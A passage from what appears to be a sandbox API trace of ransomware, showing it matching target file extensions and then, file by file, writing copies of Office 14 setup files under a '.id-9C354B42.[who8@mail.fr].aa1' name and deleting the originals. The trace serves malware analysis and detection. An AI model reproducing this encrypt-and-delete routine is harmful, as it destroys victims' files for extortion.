lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0208.947] lstrlenW (lpString=".xls") returned 4 [0208.947] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0208.947] lstrlenW (lpString=".xlsx") returned 5 [0208.947] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0208.947] lstrlenW (lpString=".ppt") returned 4 [0208.947] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0208.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0208.947] lstrlenW (lpString=".zip") returned 4 [0208.947] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0208.947] lstrlenW (lpString=".rar") returned 4 [0208.947] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0208.947] lstrlenW (lpString=".bz2") returned 4 [0208.947] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0208.948] lstrlenW (lpString=".7z") returned 3 [0208.948] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0208.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0208.948] lstrlenW (lpString=".dbf") returned 4 [0208.948] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0208.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0208.948] lstrlenW (lpString=".1cd") returned 4 [0208.948] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0208.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0208.948] lstrlenW (lpString=".jpg") returned 4 [0208.948] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0208.948] lstrcmpiW (lpString1=".CHM", lpString2=".aa1") returned 1 [0208.948] lstrlenW (lpString="PSS10O.CHM") returned 10 [0208.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0208.948] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=26929) returned 1 [0208.948] CloseHandle (hObject=0x1f4) returned 1 [0208.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0208.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0208.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0208.949] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.949] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0208.949] GetLastError () returned 0x0 [0208.949] ReadFile (in: hFile=0x1f4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x6931, lpOverlapped=0x0) returned 1 [0208.954] WriteFile (in: hFile=0x204, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x6940, lpOverlapped=0x0) returned 1 [0208.956] ReadFile (in: hFile=0x1f4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0208.956] WriteFile (in: hFile=0x204, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0208.956] SetEndOfFile (hFile=0x204) returned 1 [0208.957] CloseHandle (hObject=0x204) returned 1 [0208.960] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0208.960] SetEndOfFile (hFile=0x1f4) returned 1 [0208.961] CloseHandle (hObject=0x1f4) returned 1 [0208.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0208.962] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 1 [0208.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0208.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0208.962] lstrlenW (lpString=".doc") returned 4 [0208.962] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0208.962] lstrlenW (lpString=".docx") returned 5 [0208.962] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0208.962] lstrlenW (lpString=".pdf") returned 4 [0208.962] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0208.962] lstrlenW (lpString=".xls") returned 4 [0208.962] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0208.963] lstrlenW (lpString=".xlsx") returned 5 [0208.963] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0208.963] lstrlenW (lpString=".ppt") returned 4 [0208.963] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0208.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0208.963] lstrlenW (lpString=".zip") returned 4 [0208.963] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0208.963] lstrlenW (lpString=".rar") returned 4 [0208.963] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0208.963] lstrlenW (lpString=".bz2") returned 4 [0208.963] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0208.963] lstrlenW (lpString=".7z") returned 3 [0208.963] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0208.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0208.963] lstrlenW (lpString=".dbf") returned 4 [0208.963] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0208.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0208.963] lstrlenW (lpString=".1cd") returned 4 [0208.963] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0208.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0208.963] lstrlenW (lpString=".jpg") returned 4 [0208.963] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0208.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0208.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0208.963] lstrlenW (lpString=".doc") returned 4 [0208.963] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0208.963] lstrlenW (lpString=".docx") returned 5 [0208.964] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0208.964] lstrlenW (lpString=".pdf") returned 4 [0208.964] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0208.964] lstrlenW (lpString=".xls") returned 4 [0208.964] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0208.964] lstrlenW (lpString=".xlsx") returned 5 [0208.964] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0208.964] lstrlenW (lpString=".ppt") returned 4 [0208.964] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0208.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0208.964] lstrlenW (lpString=".zip") returned 4 [0208.964] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0208.964] lstrlenW (lpString=".rar") returned 4 [0208.964] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0208.964] lstrlenW (lpString=".bz2") returned 4 [0208.964] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0208.964] lstrlenW (lpString=".7z") returned 3 [0208.964] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0208.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0208.964] lstrlenW (lpString=".dbf") returned 4 [0208.964] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0208.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0208.964] lstrlenW (lpString=".1cd") returned 4 [0208.964] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0208.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0208.964] lstrlenW (lpString=".jpg") returned 4 [0208.964] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0208.965] lstrcmpiW (lpString1=".CHM", lpString2=".aa1") returned 1 [0208.965] lstrlenW (lpString="PSS10R.CHM") returned 10 [0208.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0209.191] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=27195) returned 1 [0209.191] CloseHandle (hObject=0x178) returned 1 [0209.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0209.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0209.191] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0209.192] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.192] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.192] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0209.192] GetLastError () returned 0x0 [0209.192] ReadFile (in: hFile=0x178, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0209.195] WriteFile (in: hFile=0x1f8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0209.196] ReadFile (in: hFile=0x178, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.196] WriteFile (in: hFile=0x1f8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0209.196] SetEndOfFile (hFile=0x1f8) returned 1 [0209.196] CloseHandle (hObject=0x1f8) returned 1 [0209.201] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.201] SetEndOfFile (hFile=0x178) returned 1 [0209.204] CloseHandle (hObject=0x178) returned 1 [0209.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0209.205] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 1 [0209.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0209.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0209.205] lstrlenW (lpString=".doc") returned 4 [0209.205] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0209.205] lstrlenW (lpString=".docx") returned 5 [0209.205] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0209.205] lstrlenW (lpString=".pdf") returned 4 [0209.205] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0209.205] lstrlenW (lpString=".xls") returned 4 [0209.205] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0209.206] lstrlenW (lpString=".xlsx") returned 5 [0209.206] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0209.206] lstrlenW (lpString=".ppt") returned 4 [0209.206] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0209.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0209.206] lstrlenW (lpString=".zip") returned 4 [0209.206] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0209.206] lstrlenW (lpString=".rar") returned 4 [0209.206] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0209.206] lstrlenW (lpString=".bz2") returned 4 [0209.206] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0209.206] lstrlenW (lpString=".7z") returned 3 [0209.206] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0209.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0209.206] lstrlenW (lpString=".dbf") returned 4 [0209.206] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0209.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0209.206] lstrlenW (lpString=".1cd") returned 4 [0209.206] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0209.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0209.207] lstrlenW (lpString=".jpg") returned 4 [0209.207] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0209.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0209.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0209.207] lstrlenW (lpString=".doc") returned 4 [0209.207] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0209.207] lstrlenW (lpString=".docx") returned 5 [0209.207] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0209.207] lstrlenW (lpString=".pdf") returned 4 [0209.207] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0209.207] lstrlenW (lpString=".xls") returned 4 [0209.207] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0209.207] lstrlenW (lpString=".xlsx") returned 5 [0209.207] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0209.207] lstrlenW (lpString=".ppt") returned 4 [0209.207] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0209.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0209.207] lstrlenW (lpString=".zip") returned 4 [0209.207] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0209.207] lstrlenW (lpString=".rar") returned 4 [0209.208] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0209.208] lstrlenW (lpString=".bz2") returned 4 [0209.208] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0209.208] lstrlenW (lpString=".7z") returned 3 [0209.208] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0209.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0209.208] lstrlenW (lpString=".dbf") returned 4 [0209.208] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0209.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0209.208] lstrlenW (lpString=".1cd") returned 4 [0209.208] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0209.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0209.208] lstrlenW (lpString=".jpg") returned 4 [0209.208] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0209.208] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0209.208] lstrlenW (lpString="SETUP.XML") returned 9 [0209.208] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0209.209] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=9352) returned 1 [0209.209] CloseHandle (hObject=0x178) returned 1 [0209.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0209.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0209.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0209.209] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.210] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0209.210] GetLastError () returned 0x0 [0209.210] ReadFile (in: hFile=0x178, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x2488, lpOverlapped=0x0) returned 1 [0209.212] WriteFile (in: hFile=0x1f8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0209.213] ReadFile (in: hFile=0x178, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.213] WriteFile (in: hFile=0x1f8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0209.213] SetEndOfFile (hFile=0x1f8) returned 1 [0209.213] CloseHandle (hObject=0x1f8) returned 1 [0209.215] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.215] SetEndOfFile (hFile=0x178) returned 1 [0209.216] CloseHandle (hObject=0x178) returned 1 [0209.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0209.216] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 1 [0209.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0209.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0209.216] lstrlenW (lpString=".doc") returned 4 [0209.216] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.216] lstrlenW (lpString=".docx") returned 5 [0209.216] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0209.216] lstrlenW (lpString=".pdf") returned 4 [0209.217] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.217] lstrlenW (lpString=".xls") returned 4 [0209.217] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.217] lstrlenW (lpString=".xlsx") returned 5 [0209.217] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0209.217] lstrlenW (lpString=".ppt") returned 4 [0209.217] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0209.217] lstrlenW (lpString=".zip") returned 4 [0209.217] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.217] lstrlenW (lpString=".rar") returned 4 [0209.217] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.217] lstrlenW (lpString=".bz2") returned 4 [0209.217] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.217] lstrlenW (lpString=".7z") returned 3 [0209.217] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0209.217] lstrlenW (lpString=".dbf") returned 4 [0209.217] lstrcmpiW (lpString1=".dbf", 